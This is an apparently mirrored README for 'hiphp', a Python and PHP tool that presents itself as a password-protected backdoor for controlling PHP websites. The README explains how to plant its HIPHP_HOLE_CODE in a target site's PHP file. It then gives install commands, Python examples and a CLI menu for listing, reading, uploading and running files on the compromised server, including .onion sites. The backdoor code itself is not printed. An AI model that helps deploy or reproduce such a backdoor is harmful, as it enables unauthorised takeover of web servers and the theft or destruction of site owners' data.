Giter Club home page Giter Club logo

hiphp's Introduction

hiphp by yasserbdj96

hiphp for control php websites.

hiphp is BackDoor to control php-based sites hiphp can be controlled by sending commands, files, and tokens to the site using the http/https protocol. After copying the HIPHP_HOLE_CODE and placing it in any php file on the target website, you will have permissions to enter it, read all files, delete and even upload new files to it. Also, this back door is password protected.

Python package Docker image CodeFactor pages-build-deployment Visitors Join the chat at https://gitter.im/yasserbdj96/hiphp

You can use this version of the project as:

[✓] Command line interface CLI.
[✓] Graphical user interface GUI (beta).
[✓] Python Module.
[✓] Script.
[✓] Docker Container.

Languages:

* python3
* php

Requirements

[✓] ashar
[✓] requests
[✓] hexor
[✓] asciitext

Supported Distributions:

Distribution Version Check Python Test Version Supported Status Everything works
Ubuntu 20.04.4 3.6, 3.7, 3.8, 3.9, 3.10 Yes Working Yes
Windwos 10.0.20348 3.6, 3.7, 3.8, 3.9, 3.10 Yes Working Yes
MacOS 11.6.6 3.6, 3.7, 3.8, 3.9, 3.10 Yes Working Yes
Android (termux) 10 (0.118.0) 3.6, 3.7, 3.8, 3.9, 3.10 Yes Working Yes
Android (nethunter) 10 (2022.3) 3.6, 3.7, 3.8, 3.9, 3.10 Yes Working Yes

Important Notes:

- When you use the program for the first time on a site, the code HIPHP_HOLE_CODE will show you, copy it and upload it to the path you want to connect to, for example 'https://localhost/inc/ex.php'.
- In order for the program to work well and without errors, HIPHP_HOLE_CODE must be placed at the top of the target file.
- The program will not work and it will show you a message stating that you are unable to connect to the site if you do not enter the correct path to the location of HIPHP_HOLE_CODE via the link.

Docker pull,build & run:

# pull:
>>> docker pull yasserbdj96/hiphp:latest

# build:
>>> docker build -t docker.io/yasserbdj96/hiphp:latest .

# run:
>>> docker run -e KEY="<KEY>" -e URL="<URL>" -i -t docker.io/yasserbdj96/hiphp:latest

Github Packages pull,build & run:

# pull:
>>> docker pull ghcr.io/yasserbdj96/hiphp:latest

# build:
>>> docker build -t ghcr.io/yasserbdj96/hiphp:latest .

# run:
>>> docker run -e KEY="<KEY>" -e URL="<URL>" -i -t ghcr.io/yasserbdj96/hiphp:latest

Python Package Installation:

# install from pypi:
>>> pip install hiphp

# local install:
>>> git clone https://github.com/yasserbdj96/hiphp.git
>>> cd hiphp
>>> sudo python setup.py install

# uninstall:
>>> pip uninstall hiphp

Ubuntu Installation:

# install:
>>> git clone https://github.com/yasserbdj96/hiphp.git
>>> pip install -r hiphp/requirements.txt
>>> cd hiphp/install
>>> bash install.sh -i
>>> hiphp

# update:
>>> cd hiphp/install
>>> bash install.sh -up

# uninstall:
>>> cd hiphp/install
>>> bash install.sh -u

Run without installation:

>>> git clone https://github.com/yasserbdj96/hiphp.git
>>> cd hiphp
>>> pip install -r requirements.txt
>>> python3 run.py <KEY> <URL>

Script Usage:

from hiphp import *

# connect:
p1=hiphp(key="<KEY>",url="<URL>")

Script Examples:

#START{
from hiphp import *

# connect:
p1=hiphp(key="123",url="http://127.0.0.1/index.php")#Default: retu=False.
#p1=hiphp(key="123",url="http://kfdjlkgjflkgjdfkjgkfdjgkjdfkgjk.onion/index.php")
#p1=hiphp(key="123",url="https://google.com/index.php")

# Get the hole Code:
p1.get_hole()# Copy this code into the file whose path you entered earlier. ex: https://localhost/index.php

# Example:1
# Command:
p1.run("echo 'this is a test';")

# Example:2
# Run code from file:
p1.run_file("./examples.php")# Run code from file.
p1.run_file("./examples.php","var1==true","var2==hiii")# Run code from file With the entry of variables.

# Example:3
# Upload a file:
p1.upload("./examples.php")# Upload a file to the current directory.
p1.upload("./examples.php","./upload_path/")# Upload a file to a specific directory.

# Example:4
# Command line interface:
p1.cli()
#}END.

Help for Command Line interface (CLI):

hiphp Commands :
════════════════
         Command                    Description
         -------                    -----------
[OPTIONS]─────┐
  ┌───────────┘
  ├─> --help                        ─> # Display this help.
  ├─> --geth                        ─> # Get the hole Code, "HIPHP_HOLE_CODE" It has the same purpose.
  ├─> --phpinfo                     ─> # Some information about the server.
  ├─> --cls                         ─> # Clear console.
  ├─> --exit                        ─> # Exit this console.
┌─┘
└[ACTIONS]────┐
  ┌───────────┘
  ├─> --ls                          ─> # List information about the FILEs (the current directory by default).
  ├─> Usage: --ls [OPTION] [PATH]
  ├┬> Mandatory arguments to long options:
  │├─> --ls                         ─> # Get a list of all files and folders from the current directory.
  │├─> --ls [PATH]                  ─> # Get a list of all files and folders from a specified directory.
  │├─> --ls -all                    ─> # Get a list of all files, folders and subfolders from the current directory.
  │└─> --ls -all [PATH]             ─> # Get a list of all files, folders and subfolders from a specified directory.
  ├─────────────────────────── ─ ─ ─
  ├─> --cat                         ─> # Concatenate FILE to standard output.
  ├─> Usage: --cat [FILE_PATH]
  ├─────────────────────────── ─ ─ ─
  ├─> --set                         ─> # Create a code that is always saved on during work.
  ├─> Usage: --set [PHP_CODE]
  ├─> You can return the initial value with "--dset".
  ├─────────────────────────── ─ ─ ─
  ├─> --rf                          ─> # Run code from file.
  ├─> Usage: --rf [FILE_PATH] [VARIABLES]
  ├┬> Mandatory arguments to long options:
  │├─> --rf [FILE_PATH]             ─> # Run code from file.
  │└─> --rf [FILE_PATH] [VARIABLES] ─> # Run code from file with variables, EX: --rf example.php var==1 var2==hello
  ├─────────────────────────── ─ ─ ─
  ├─> --up                          ─> # Upload a file.
  ├─> Usage: --up [FILE_PATH] [PATH]
  ├┬> Mandatory arguments to long options:
  │├─> --up [FILE_PATH]             ─> # Upload a file to the current directory.
  │└─> --up [FILE_PATH] [PATH]      ─> # Upload a file to a specified directory.
┌─┘
└[ABOUT]─────┐
  ┌──────────┘
  ├─> --update                      ─> # check for updates.
  ├─> --license                     ─> # This project license.
  ├─> --about                       ─> # About this project.
  .
  .
  .

Screenshots:

Changelog History:

## 0.2.21 [18-08-2022]
 - Add "--update" command.
 - Add "--phpinfo" command.
 - Fix not being able to install internally on Nethunter.
 - Fix some issues in uploading files.
 - Bug fixes & performance improvements.

## 0.2.20 [10-08-2022]
 - Change the display of files in the command "--ls"
 - Fix "HIPHP_HOLE_CODE".
 - Add "--cls" to clear console.
 - Slight change to the command line interface logo.
 - Bug fixes & performance improvements.

## 0.2.19 [30-07-2022]
 - Preparing for the new version.
 - Rework the software rights with the addition of the Bitcoin wallet address.
 - new logo design.
 - Bug fixes & performance improvements.

## 0.2.18 [06-07-2022]
 - Bug fixes & performance improvements.

## 0.2.17 [03-07-2022]
 - Bug fixes on windows os.

## 0.2.16 [02-07-2022]
 - Bug fixes & performance improvements.

## 0.2.15 [22-06-2022]
 - New build.
 - More stability.
 - Command interface update.
 - More commands.
 - Giving access to .onion sites.
 - help menu update.
 - Bug fixes & performance improvements.

## 0.1.14
 - help menu update.
 - Bug fixes & performance improvements.

## 0.1.13
 - Safety upgrade.
 - Bug fixes & performance improvements.

## 0.1.12
 - Safety upgrade.
 - Bug fixes & performance improvements.

## 0.1.11
 - Command interface update.
 - Bug fixes & performance improvements.

## 0.1.10
 - Fix Bugs.

## 0.1.9
 - fix bugs.

## 0.1.8
 - Fix bugs.

## 0.1.7
 - fix bugs.

## 0.1.6
 - fix bugs.
 - add upload to upload any file.
 - Simplify the use of the program.

## 0.1.5
 - fix bugs.

## 0.1.4
 - fix bugs.
 - new build.

## 0.1.3
 - Fix bugs.

## 0.1.2
 - Fix bugs.

## 0.1.1
 - Import pakages by pipincluder.
 - Fix bugs.

## 0.1.0
 - New build.
 - Fix bugs.

## 0.0.4
 - Fix bugs.

## 0.0.3
 - Fix bugs.

## 0.0.2
 - Fix bugs.
 - Add help list.
 - Add Executing from files.

## 0.0.1
 - First public release.

Don't forget to star ⭐ this repository

all posts #yasserbdj96 ,all views my own.


hiphp's People

Contributors

yasserbdj96 avatar imgbotapp avatar byro0t96 avatar dependabot[bot] avatar gitter-badger avatar code-factor avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.